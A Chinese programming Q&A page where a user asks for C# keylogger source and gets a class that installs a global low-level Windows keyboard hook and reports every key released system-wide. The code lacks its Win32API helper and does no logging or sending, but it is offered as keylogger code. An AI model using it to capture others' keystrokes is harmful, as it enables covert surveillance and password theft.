当前位置:编程学习 > C#/ASP.NET >>

求C#写键盘记录的源代码

哥们,能把那个C#写键盘记录的源代码给我传一份吗?闲着无聊,想学习一下。。谢谢了。。。我邮箱553478776@qq.com
答案:using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Windows.Forms;

namespace Tool
{
    class KeyHook
    {
        public event KeyEventHandler KeyUp;//按键事件
        public Win32API.HookProc keyHook;//钩子回调变量
        public int hkeyhook = 0;
        private const int WH_KEYBOARD_LL = 13;//钩子类型

        public void statrhook() //安装钩子
        {
            if (this.hkeyhook == 0)
            {
                this.keyHook = new Win32API.HookProc(this.KeyboardHookProc);
                this.hkeyhook = Win32API.SetWindowsHookEx(WH_KEYBOARD_LL,
                   this.keyHook,
                    Marshal.GetHINSTANCE(
                    Assembly.GetExecutingAssembly().GetModules()[0]),
                    0);
              
            }
            if (this.hkeyhook == 0)
            {
                this.sotphook();
            }
       }

        public void sotphook()//卸载钩子
        {
            bool retKeyboard;
            if (this.hkeyhook != 0)
            {
                retKeyboard = Win32API.UnhookWindowsHookEx(this.hkeyhook);
                this.hkeyhook = 0;
            }
        }

        private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)//钩子处理函数
        {
            if (nCode >= 0 && this.KeyUp != null)
            {
                Win32API.KeyboardHookStruct key = (Win32API.KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(Win32API.KeyboardHookStruct));
                if ((KeyUp != null) && (wParam == Win32API.WM_KEYUP || wParam == Win32API.WM_SYSKEYUP))
                {
                    Keys keydata = (Keys)key.vkCode;
                    KeyEventArgs e = new KeyEventArgs(keydata);
                    this.KeyUp(this, e);
                }
            }
            return Win32API.CallNextHookEx(this.hkeyhook, nCode, wParam, lParam);
        }

    }
}

上一个:c#入门经典第四版。谁有答案的`谢谢!要是能给个系统学习C#的方案,跪谢!
下一个:我现在在学习VS2010 - 天轰川c#趣味.NET教程,怎么后续的章节一直没有出来呢?谁有哇??学云网上也不全呢?

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,